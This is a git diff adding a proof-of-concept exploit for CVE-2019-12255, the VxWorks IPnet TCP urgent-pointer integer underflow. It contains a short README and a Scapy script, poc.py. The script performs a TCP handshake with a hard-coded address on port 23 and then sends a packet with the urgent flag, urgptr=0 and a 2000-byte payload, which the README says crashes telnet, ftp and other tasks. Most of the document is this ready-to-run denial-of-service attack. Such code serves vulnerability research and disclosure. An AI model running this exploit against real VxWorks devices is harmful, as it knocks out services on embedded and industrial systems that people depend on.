diff --git a/CVE-2019-12255/README.md b/CVE-2019-12255/README.md
new file mode 100644
index 0000000..78bc921
--- /dev/null
+++ b/CVE-2019-12255/README.md
@@ -0,0 +1,11 @@
+## CVE-2019-12255
+VxWorks TCP Urgent pointer = 0 integer underflow 
+
+## Discovered By
+Armis Security
+
+## Vulnerability Summary
+The vulnerability exists in the IPnet stack of VxWorks. The details of the vulnerability can be found [here](https://i.blackhat.com/USA-19/Thursday/us-19-Seri-Critical-Zero-Days-Remotely-Compromise-The-Most-Popular-Real-Time-OS-wp.pdf). The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.
+![ftp crash](crash_ftp.png)
+
+![telnet crash](crash_telnet.png)
\ No newline at end of file
diff --git a/CVE-2019-12255/crash_ftp.png b/CVE-2019-12255/crash_ftp.png
new file mode 100644
index 0000000..3b9af4d
Binary files /dev/null and b/CVE-2019-12255/crash_ftp.png differ
diff --git a/CVE-2019-12255/crash_telnet.png b/CVE-2019-12255/crash_telnet.png
new file mode 100644
index 0000000..4712cf0
Binary files /dev/null and b/CVE-2019-12255/crash_telnet.png differ
diff --git a/CVE-2019-12255/poc.py b/CVE-2019-12255/poc.py
new file mode 100755
index 0000000..ddce30e
--- /dev/null
+++ b/CVE-2019-12255/poc.py
@@ -0,0 +1,19 @@
+from scapy.all import *
+
+if __name__ == "__main__":
+    ip = "192.168.10.199"
+    dport = 23
+    seq_num = 1000
+    payload = "\x42"*2000
+    sport = random.randint(1024,65535)
+
+    syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
+    syn_ack = sr1(syn)
+
+    seq_num = seq_num + 1
+    ack_num = syn_ack.seq+1
+    ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
+    send(ack)
+
+    psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
+    send(psh)